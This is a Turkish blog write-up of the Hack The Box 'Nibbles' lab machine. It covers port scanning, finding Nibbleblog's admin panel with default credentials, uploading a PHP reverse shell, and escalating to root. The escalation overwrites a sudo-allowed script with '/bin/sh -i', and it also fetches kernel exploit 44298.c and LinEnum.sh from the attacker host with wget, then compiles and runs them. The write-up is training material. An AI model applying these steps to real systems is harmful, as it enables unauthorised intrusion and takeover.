Hack The Box — Nibbles

Burcu YARAR
6 min readMar 23, 2020

--

Port Tarama

Hedef sistem üzerinde ilk olarak açık portların tespiti için full port taraması gerçekleştirilir.

Full Port Tarama

nmap -p- — open -vvv 10.10.10.75 -oN fullportscan

Açık olan portlar;

22/tcp80/tcp

Ardından açık olduğu tespit edilen portlar üzerinde bulunan hizmetlere ait detayların tespiti için versiyon ve script taraması gerçekleştirilir.

Versiyon Tarama

nmap -p 22,80 -sV -sC -vvv 10.10.10.75 -oN versionscan

Bilgi Toplama

Port 80

İlgili adresi tarayıcı üzerinden ziyaret ettiğimizde aşağıda ekran görüntüsü verilen sayfa ile karşılaşılmaktadır.

Ardından ilgili adrese “curl” aracı ile istek gerçekleştirilerek sunucudan dönen yanıt incelenerek “/nibbleblog/” dizininin varlığı tespit edilebilir.

curl -i http://10.10.10.75/

İlgili dizine tarayıcı üzerinden gittiğimizde aşağıda ekran görüntüsü verilen sayfa ile karşılaşılmaktadır. Bu sayfada aşağıda kırmızı kutu içerisine alınan “Powered by Nibbleblog” yazısı için daha sonra zafiyet varlığı kontrol edilebilir.

Öncelikle “gobuster” aracı ile ilgili blog başlığı altında dizin taraması gerçekleştirilir. Bunun için aşağıdaki komut kullanılabilir.

gobuster -u http://10.10.10.75/nibbleblog/ -w /usr/share/seclists/Discovery/Web-Content/common.txt -s ‘200,204,301,302,307,403,500’ -e -o gobuster

Dizin tarama işlemi sonrası yukarıda verilen dizinler tespit edilmiştir. İlgili dizinlerin içerikleri sıra ile kontrol edilebilir.

“admin” dizini altına gidildiğinde blog uygulamasına ait admin paneli tespit edilmiştir.

http://10.10.10.75/nibbleblog/admin.php

İlgili dizinlerin içeriği kontrol edildiğinde “content” dizininin dizin listelemeye açık olduğu tespit edilmiş ve ilgili dizine ait içerikler kontrol edilerek “email, username ve IP” gibi bilgi ifşalarına rastlanmıştır.

“README” dizininin altı kontrol edildiğinde blog’a ait versiyon bilgisi tespit edilebilir.

İlgili blog versiyonu için tespit edilen zafiyetler aşağıdaki gibidir.

Burada ilgili zafiyetin google üzerinden dorklar ile aranması ve içeriğinin görüntülenmesine ait ekran görüntüsü aşağıda verilmiştir.

Exploit içeriği incelendiğinde kimlik doğrulama gerektirdiği gözlemlenmektedir. Bununla beraber ilgili zafiyetin manuel istismarına ait detaylar aşağıdaki linklerde detaylı olarak anlatılmıştır.

Zafiyetin İstismarı

Login paneline gerçekleştirilen default username/password denemeleri sonucu panel için kimlik bilgilerinin “admin/nibbles” olduğu tespit edilmiştir.

Söz konusu zafiyet kontrol edildiğinde zafiyetin istimarı için hazır olarak Metasploit modülü bulunduğu gözlemlenebilir. İlgili modül bilgisi aşağıda verilecektir ancak bu makale için manuel olarak çözüm gerçekleştirilecektir.

Metasploit Modülü

exploit/multi/http/nibbleblog_file_upload

Manuel

İlk olarak Kali üzerinde “/usr/share/laudanum/php/” dizini altında bulunan “php-reverse-shell.php” dosyasının içeriğini düzenleyerek hedef sisteme atıyoruz.

cp /usr/share/laudanum/php/php-reverse-shell.php .

Dosya içeriğinin düzenlenmesi ve görüntülenmesine ait ekran görüntüleri aşağıda verilmiştir.

nano php-reverse-shell.phpcat php-reverse-shell.php

İlk olarak dinleyici başlatılır. Ardından hedef sisteme yüklediğimiz reverse shell tarayıcı üzerinden çağırılır.

Dosyanın hedef sisteme yüklendiğine dair ekran görüntüsü aşağıda verilmiştir.

Yüklenen dosyanın varlığının tespitine ait ekran görüntüsü aşağıda verilmiştir. Bu aşamada “image.php” dosyasına tıklayarak yüklediğimiz shell’ imizi çağırıyoruz.

Hedef sistem üzerinde oturum elde edilmesine ait ekran görüntüsü aşağıda verilmiştir.

Oturum elde ettikten sonra “user.txt” dosyasının içeriğinin görüntülenmesine ait ekran görüntüsü aşağıda verilmiştir.

Ardından hedef sistem üzerinde “/tmp” dizini altına geçilir ve saldırgan sistemden “LinEnum.sh” scripti hedef sisteme indirilir.

Bunun için saldırgan sistem üzerinde HTTP sunucu başlatılır.

python -m SimpleHTTPServer 80

Hedef sistem üzerinde “wget” aracının varlığı tespit edilir ve aşağıdaki komut ile hedef sisteme script indirilir. Script’e çalışma yetkisi verilir ve ardından script çalıştırılır.

Çıktıyı incelediğimizde iki nokta göze çarpmaktadır. Birincisi “monitor.sh” scriptinin sudo haklarıyla parola gerekmeksizin çalıştırılabildiği, diğeri ise kernel versiyonunun zafiyet barındırmasıdır.

İlgili ekran görüntüleri aşağıda verilmiştir.

Yetki Yükseltme

Sudo

“monitor.sh” scriptini kullanarak yetki yükseltme işlemi gerçekleştirilmek istenildiğinde ilgili scriptin bulunduğu dizine gitmeye çalışılırken aşağıdaki hata ile karşılaşılmaktadır.

Bunun sebebi “personel.zip” dosyasının sıkıştırılmış dosya olması ve “monitor.sh” scriptinin bu dosya içerisinde yer almasıdır. İlgili dosya “unzip” komutu ile açılabilir.

unzip personal.zip

“monitor.sh” dosyasının içeriğini aşağıdaki şekilde güncellenir ve script sudo hakları ile çalıştırılarak hedef sistem üzerinde yetki yükseltme işlemi gerçekleştirilir.

echo “/bin/sh -i” > monitor.shcat monitor.shsudo ./monitor.shid

Kernel

Kali üzerindeki “searchsploit” aracı kullanılarak ilgili kernel versiyonunun barındırdığı zafiyetler listelenir.

searchsploit “Linux Kernel 4.4.0”

Söz konusu exploit hedef sisteme atılır. Hedef üzerinde “gcc” derleyicinin varlığı tespit edilir. Ardından script derlenir ve çalıştırılır.

Exploit’i hedef sisteme yükleyebilmek adına ilk olarak saldırgan sistem üzerinde python ile HTTP sunucu başlatılır.

python -m SimpleHTTPServer 80

Ardından ilgili exploit hedef sisteme indirilir. İlgili ekran görüntüsü aşağıda verilmiştir.

wget http://10.10.14.20/44298.c

Daha sonra exploit derlenip çalıştırılarak hedef sistem üzerinde yetki yükseltme işlemi gerçekleştirilir.

which gccgcc -o kernel-exploit 44298.c./kernel-exploit

Son olarak “root.txt” dosyasının içeriğinin görüntülenmesine ait ekran görüntüsü aşağıda verilmiştir.

💃💃

--

--

Burcu YARAR
Burcu YARAR

Written by Burcu YARAR

Passionate Cyber Security Expert #member @SynackRedTeam #pentesting #cybersecurity #offensivesecurity #applicationsecurity | https://linktr.ee/brcyrr

No responses yet